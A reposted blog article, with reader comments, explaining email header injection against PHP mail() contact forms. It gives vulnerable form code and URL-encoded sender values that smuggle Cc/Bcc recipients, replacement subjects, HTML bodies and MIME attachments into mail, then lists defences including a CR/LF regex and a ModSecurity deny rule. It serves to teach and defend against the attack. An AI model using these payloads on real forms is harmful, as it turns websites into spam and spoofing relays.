Not so long ago, I ran a wiki called SecurePHP. On that wiki, there was one particular article about email injection that received a lot of attention (a few hundred hits a day). Naturally, with all the attention came lots of spam. As a result, I disabled editing of the wiki and content stagnated. Still, the email injection article remained popular. About a year later, the server that hosted SecurePHP died and I never had a chance to hook it all back up. I saved the article though and I'm reposting it now. It may be a bit old (I've been away from PHP for a long time), so feel free to leave comments about needed updates. Though this article focuses on PHP, it provides a lot of general information regarding email injection attacks.
The PHP mail() Function
There are a lot of ways to send anonymous emails, some use it to mass mail, some use it to spoof identity, and some (a few) use it to send email anonymously. Usually a web mailform using the mail() function generates emails containing headers with the originating IP of the server it's running on. Therefore the mailform acts as a SMTP proxy. The input fields of the form may vary, but it is common to specify a mailform that gives you control over the subject, the message, and the sender's email address.Function usage:
mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]); (mail())Extra params are not commonly fed from user input, so we'll skip this part. Most webmasters carefully hardcode the recipient's email address into the contact form of their web application. You might think this eliminates the way this kind of script could be exploited. But, you would be be wrong!
Example 1
Here's an example of code we'll base our analysis on:<?phpWhen looking at the HTML form or at the code, it seems obvious one cannot choose the recipient email address as it is hardcoded in the script. However, it is possible to choose the subject, the message, and the sender's email address (
$to="webmaster@website.com";
if (!isset($_POST["send"])) {
// no post data -> display form
?>
<form method="POST" action="<?=$_SERVER['PHP_SELF'];?>">
To: webmaster@website.com
From: <input type="text" name="sender">
Subject: <input type="text" name="subject">
Message:
<textarea name="message" rows="10" cols="60" lines="20"></textarea>
<input type="submit" name="send" value="Send">
</form>
<?
} else {
// found post data .. deal with it
$from=$_POST['sender'];
// send mail
if (mail($to, $_POST['subject'],$_POST['message'],"From: $from\n")){
// display confirmation message if mail sent successfully
echo "Your mail was indeed sent to $to.";
} else {
// sending failed, display error message
echo "Doh! Your mail could not be sent.";
}
}
?>
From: header). The PHP mail() function roughly works as follows: <?php mail($recipient,$subject,$message,$headers); ?>And will produce the following raw output:
To: $recipientWhen calling the function like this:
Subject: $subject
$headers
$message
<?php mail("recipient@victim.xxx","Hello","Hi,\nYour site is great.\nBye","From: sender@anonymous.xxx\n"); ?>The raw output data will look like this: To: recipient@victim.xxxThe PHP code for the mailform provided earlier shows that the most interesting part the user can choose to feed in the form is the sender email address, because it is directly displayed inside the headers. In this example it is possible to modify or add other headers than the
Subject: Hello
From: sender@anonymous.xxx
Hi,
Your site is great.
Bye
From: using this form. Of course the message, To and Subject fields could also be used to inject some data but the mail() function and the RFC specifications would filter any content given to those fields to prevent it from being abused.What's the use of injecting email headers?
In this context, the target is to be able to send anonymous emails to other recipients. There are numerous additional fields that can be specified in the mail headers (see RFC 822). For exampleCc (Carbon Copy), which sends a copy of the message to the email addresses given as arguments. A better choice is to use the Bcc (Blind Carbon Copy) which sends a carbon copy of the message just like with the Cc header, except that the recipiends email addresses given as arguments are not shown to the multiple recipients' headers. As specified in RFC 822, you must add a line feed for every header. The LF (line feed) char has a hexadecimal value of 0x0A.By providing the following values to the example script of this article:
Sender: sender@anonymous.www%0ACc:recipient@someothersite.xxx%0ABcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxxThe email's raw data will look like this:
Subject: ahem
Message: My Message...
To: recipient@victim.xxxThe mail headers were injected successfully! Despite the fact that the only header value take from the HTML form is
Subject: ahem
From: sender@anonymous.xxx
Cc:recipient@someothersite.xxx
Bcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx
My Message...
From:, the resulting email has been sent to three people of our choice: recipient@someothersite.xxx, somebloke@grrrr.xxx and someotherbloke@oooops.xxx.In the last example, both
Cc and Bcc headers have been used to perform the injection. It would also have been possible to use the To header, the last value is added (just like in the Cc and Bcc fields) to the hardcoded email address of the webmaster.Example 2
Let's keep the same value for subject and message, and give the following value to the senderemail@anonymous.xxx%0ATo:email1@who.xxx. The mail output is: To: recipient@victim.xxxRepeating the
Subject: Hum
From: email@anonymous.xxx
To:email1@who.xxx
My Message...
To header won't be a problem, the mail will be sent to recipient@victim.xxx AND email1@who.xxx.Now for something completely evil...
Let's consider spam.Many sites provide the possibility to "email this page to a friend" through a web form, the resulting email softly suggests to "visit our website" on behalf of the user that filled in the form with his personal email address, and the email address of the friend he wants the page to be emailed to.
<?php $subject="Visit our site www.website.xxx !";Even though the subject and the message are hardcoded, there is still a way to inject headers (we already know how to add recipients). As covered earlier in this article, we saw that the
$message="Hello,\nA friend thought you might want to see this page : www.website.xxx.\nBye Bye.";
if (!isset($_POST["send"])){
// no post data, display form
?>
<form method="POST" action="<?=$_SERVER['PHP_SELF'];?>">
To: <input type="text" name="recipient">
From: <input type="text" name="sender">
<input type="submit" name="send" value="Send">
</form>
<?php
} else {
// found post data
$from=$_POST['sender'];
$to=$_POST['recipient'];
// send mail :
if (mail($to,$subject,$message,"From: $from\n")){
// success
echo "Mail sent successfully to $to.";
} else {
// failure
echo "Doh ! Sending failed.";
}
}
?>
To header can be sent twice, the Subject header is not an exception to this rule, and so it is for numerous other headers. By providing a recipient address of buddy@pal.xxx and a sender address of misterburns@springfield.xxx%0ASubject:My%20Anonymous%20Subject the email body will look like this: To: buddy@pal.xxxThe subject "My Anonymous Subject" will be added to "Visit our site www.website.xxx!", and in some cases will replace it (depending on the mail services, SMTP relays, mail client, etc). For example Hotmail displays the added subject inside the message.
Subject: Visit our site www.website.xxx !
From: misterburns@springfield.xxx
Subject: My Anonymous Subject
Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
Let's see now how to alter the message body. The difference between the body and the headers is that the body cannot be identified by its name (
From, To, etc); there is no such Message header existing in the RFC 822. And that's exactly how we will alter this part of the mail, a LF; with no header name means that the message body started. So, instead of specifying a LF and a header name, we will just add a LF and give our message.As both
To and Subject headers are already defined, the resulting output will contain both the older message and the injected message, except that instead of being appended, it will be prepended. Say we provide the sender badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message. Then the email will look like this: To: buddy@pal.xxxWe can clearly see the that the new message:
Subject: Visit our site www.website.xxx!
From: badguy@badboys.com
My New
Anonymous Message.
Hello,
A friend thought you might want to see this page: www.website.xxx.
Bye Bye
My Newis prepended to the old message:
Anonymous Message
Hello,to finally give this message:
A friend thought you might want to see this page: www.website.xxx.
Bye Bye
My NewThere are more headers than
Anonymous Message
Hello,
A friend thought you might want to see this page: www.website.xxx.
Bye Bye
Cc, Bcc, To, Subject and From but this article will not cover all of them as they are not especially helpful for this article. However, the Content-Type header can be very useful. It has a default value set of plain/text.It is possible to re-define this header as
text/html, and then provide some HTML content to the message by giving this value to the sender's email address haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A.
The email will look like: To: buddy@pal.xxxWhen displayed, this email will have the text "HTML Anonymous Message" underlined.
Subject: Visit our site www.website.xxx !
From: haxor@attack.com
Content-Type:text/html
My New
<u>HTML Anonymous Message.</u>
Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
MIME
Themail() function respects the MIME encoding. By knowing this, the header Content-Type can be used in different ways for injection purposes. The MIME encoding (Multipurpose Internet Mail Extensions) can be used, in addition to send HTML mails, to attach files (sound, image, txt, etc).The fact is that the header
Content-Type can be re-defined as multipart/mixed (or multipart/alternative or multipart/related), even though it was already defined previously.The injection possibility for this header is that the "multipart/mixed" can help us to separate the mail in several parts.
Here's an example in MIME format, with one recipient part:
To: recip@ient.xxxFirst we see the header
Subject: Good Luck
From: sender@spoofed.xxx
Content-Type: multipart/mixed; boundary="MyBoundary";
Hidden Text1
--MyBoundary
Content-Type: plain/text;
Good Luck for you work,
bye
--MyBoundary--
Hidden Text2
To, Subject and From then the Content-Type defined as multipart/mixed, then the "boundary" line which value is MyBoundary. This boundary stuff is used as a separator (see RFC 822 for detailed info) inside the message. It is also used to set the beginning/end of the first/last part (--[THE BOUNDARY]). Note: "[THE BOUNDARY] can be replaced by any (US/ASCII [:alnum:]) value. Then we see a line "Hidden Text1". This text will not be visible to the recipient, because it is located before the first boundary declaration. Then we see the --MyBoundary line, announcing the beginning of the first message, and then, just after the Content-Type header (which will define the content type of this specific message part), some simple text. Then we see the message, and the line --MyBoundary--, announcing the end of the email, and consequently having the last part "Hidden Text2" hidden to most web clients.Now the originating message and subject, both hardcoded in php, are ignored. So by providing the sender value
haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog--We get:
To: recip@ient.xxxAnd the message received by "recip@ient.xxx" is an HTML message containing "My Message." The hard coded advertisement message (below) is NOT displayed:
Subject: Visit www.website.xxx!
From: haxor@attack.xxx
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html
My Message.
--frog--
Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
Hello,Note: boundary is sent with no quotes this time, just to show it applies even if magic_quotes_gpc=ON.
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
This method is applicable in different context. Imagine a script where
sender can be specified and where some other field (like first name, last name, age, etc) is echoed in the message body once the form is submitted. In that case it is possible to get the same results (choose exactly what message the receipt will see) by providing haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A in the sender header and %0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog-- to the optional field (e.g nickname). The resulting mail will look like:To: ami@friends.xxxAs you can see, the hard coded message has been split in two. The value of the optional field (nickname) has been replaced by the injected message, and whatever is after the inserted text will NOT be shown in the mail client.
Subject: Visit www.website.xxx !
From: haxor@attack.xxx
Content-Type:multipart/mixed; boundary=frog;
Hello,
A friend called
--frog
Content-Type:text/html
My Message.
--frog--
thought you might want to see this page : www.website.xxx.
Bye Bye
Example 3
Now a last example, compiling all possibilities seen in this article, and more. Provide this value as the sender:haxor@attack.xxx%0ASubject:Ooops%0ABcc:target@nothappy.xxx%0AContent-Type:multipart/mixed;%20boundary=frog;The resulting email will be:
%0A--frog%0AContent-Type:text/html%0A%0AHTML%20Message.%0A%0A--frog%0AContent-Type:text/html;
name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0AHTML%20File
%0A%0A--frog--%0A
To: pal@friends.xxxSo, the sender is "haxor@attack.xxx", the subject is "Visit www.website.xxx ! Oooops", the email will be received by "pal@friends.xxx", and a carbon copy will be sent to "target@nothappy.xxx". The email content will be HTML:
Subject: Visit www.website.xxx !
From: haxor@attack.xxx
Subject: Mwahahaha
Bcc: target@nothappy.xxx
Content-Type: multipart/mixed; boundary=frog;
--frog
Content-Type: text/html
HTML Message.
--frog--
Content-Type: text/html;name=Nastycode.html;
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment
HTML File
--frog--
Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
HTML Message.
a file named "Nastycode.html" with content type "text/html" will be attached to the email:
HTML File
<panic>
Now that the problem has been described, enjoy some scheduled panic time.</panic> (Solutions)
And now that you've stopped panicking, here are several ways to combat email injection.Regex
The first rule (the golden rule) is to always filter and validate user data. One possiblity is to use regular expressions or string functions:<?phpWe can see in the above script that any occurrence of
$from = $_POST["sender"];
$from = urldecode($from);
if (eregi("(\r|\n)", $from)) {
die("Why ?? :(");
}
?>
\r or \n will make it die(). The urldecode() call is to ensure that the attacker has not attempted to mask his attack by URL encoding his injection. \n is equal to LF (line feed or 0x0A/%0A in hexadecimal), and \r is equal to CR (carriage return or 0x0D/%0D in hexadecimal). Some chars like %0A%0D can be used as a substitute to %0A, but it is always the last char that is really dangerous.Zend_Mail
You can use the Zend_Mail component as your mail sender class. It provides protection to this problem by default, no action is required from the programmer.PEAR Mail
The PEAR Mail class provides protection against this problem since version 1.1.13.Swift Mailer
Swift Mailer class is not vulnerable to this attack.Suhosin
The Suhosin PHP extension provides the suhosin.mail.protect ini directive, with 3 different levels of protection.ModSecurity
ModSecurity can put a stop to email injection on the server level.With ModSecurity it is possible to scan the POST or GET body for
Bcc, Cc, or To and reject any request that contains those letters. To protect against main injection, add the below rule to your modsecurity setup: SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@"However, there are plenty of legitmate reasons to use the word "to" in an email and blacklists are never complete. Whitelisting is always a better option. gotroot.com is a great source for ModSecurity rules. It is a good idea to use their rules and configuration to protect users against other PHP exploits. Any virtual host having issues with ModSecurity can have it disabled by adding the below setting to the VirtualHost container:
<IfModule mod_security.c>
SecFilterEngine Off
</IfModule>
In Conclusion...
Two points to remember when watching injections:- Any existing data located *after* the injection point can be replaced.
- Any data to be added will always be located *after* the injection point (e.g.
From).
mail() function are cleaned, when using Emacs, the Fcc header is also protected from injections. This Fcc field contains the name of one file and directs Emacs to append a copy of the message to that file when you send the message. Although this works on Emacs, it is not possible with the PHP mail() function.And remember, there are other related exploit possibilities that are not discussed in this article. Security requires research and vigilance.
6 comments:
You should create some kind of HTTP redirect at the article's original location because tons of websites linked to it.
Also, using mod_security to scan for to|bcc|cc is a bad idea. Words such as "to" have a lot of legitimate uses, so you can't just blacklist them.
Secondly, you can never be 100% certain that your blacklist covers everything. For example, there's an alternate Unicode representation for a newline that this article didn't mention. Depending on how/when character encodings are converted, it could also lead to email injection!
The safest approach is to use a whitelist that only contains alphanumeric characters and well-known punctuation characters.
Really great resource, thanks for re-sharing :)
Just a question:
Thanks to archive.org I've found another version of the same page... Here it is: http://tinyurl.com/9yxxca
Do you know which one is the most recent and updated?
Yours here or the one just linked?
Thanks Again ;)
Just another question: why the urldecode($from) in the regexp solution?
@Epper
This source is the most up to date version. I'll try to keep updating it with suggested changes (like Geoff's).
@Geoff
I don't have a host to run mod_rewrite or some such thing on to handle the redirection yet. I hope to have that soon. I added to the ModSecurity section to address your concerns. Thanks!
@Epper
The urldecode() is there to ensure that the attaker did not URL encode his injection in order to mask it. I've added this point to the article as well. Thanks!
Post a Comment